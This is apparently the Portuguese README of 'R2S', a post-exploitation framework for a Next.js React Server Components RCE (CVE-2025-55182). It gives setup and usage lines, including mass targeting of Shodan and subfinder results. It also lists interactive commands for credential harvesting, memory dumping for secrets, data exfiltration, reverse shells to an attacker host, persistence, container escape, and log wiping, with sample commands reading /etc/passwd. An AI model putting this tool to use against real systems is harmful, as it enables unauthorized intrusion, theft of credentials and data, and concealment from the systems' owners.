R2S é um framework abrangente de exploração e pós-exploração que visa a vulnerabilidade dos React Server Components do Next.js (CVE-2025-55182). Ele fornece um shell interativo com recursos avançados para testes de penetração, incluindo transferência de arquivos, persistência, enumeração, verificações de escalonamento de privilégios e muito mais.
Framework Avançado de Pós-Exploração para RCE em React Server Components do Next.js
Funcionalidades • Instalação • Uso • Comandos • Exemplos
R2S é um framework abrangente de exploração e pós-exploração direcionado à vulnerabilidade de React Server Components do Next.js (CVE-2025-55182). Fornece um shell interativo com funcionalidades avançadas para testes de penetração, incluindo transferência de arquivos, persistência, enumeração, verificações de escalonamento de privilégios e muito mais.
.env e arquivos de configuração# Python 3.6 ou superior
python3 --version
# Instalar dependências
pip3 install requests urllib3
# Clone ou baixe a ferramenta
cd r2s-main
# Tornar executável (opcional)
chmod +x r2s_enhanced.py
# Executar a ferramenta
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [OPÇÕES]
| Opção | Descrição | Padrão |
|---|---|---|
-u, --url | URL de alvo único | - |
-l, --list | Arquivo contendo lista de URLs | - |
-c, --cmd | Comando inicial a executar | id |
-t, --threads | Número de threads de varredura | 30 |
-p, --proxy | Proxy HTTP (ex.: http://127.0.0.1:8080) | - |
-v, --verbose | Habilitar saída detalhada | False |
--http-port | Porta do servidor HTTP para transferência de arquivos | 8000 |
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
Uma vez obtido acesso RCE, você entrará em um shell interativo com estes comandos:
upload <local_file> <remote_path> # Envia arquivo para o alvo
download <remote_file> <local_path> # Baixa arquivo do alvo
cd <diretório> # Muda o diretório de trabalho
pwd # Exibe o diretório de trabalho
enum # Enumeração completa do sistema
privesc # Verificações de escalonamento de privilégios
harvest # Coleta de credenciais
portscan <ip> # Varre portas da rede interna
memdump [pid] # Despeja memória do processo para segredos
lateral # Oportunidades de movimento lateral
escape # Vetores de escape de contêiner
exfil [tipo] # Exfiltra dados (env/config/keys/db/logs/all)
reverse <lhost> <lport> # Testa múltiplos payloads de reverse shell
persist # Adiciona persistência básica
advpersist # Adiciona persistência avançada
stealth # Limpa logs e esconde rastros
save # Salva a sessão atual
help, ? # Mostra mensagem de ajuda
exit, quit # Sai do shell interativo
Execute qualquer comando do shell diretamente:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com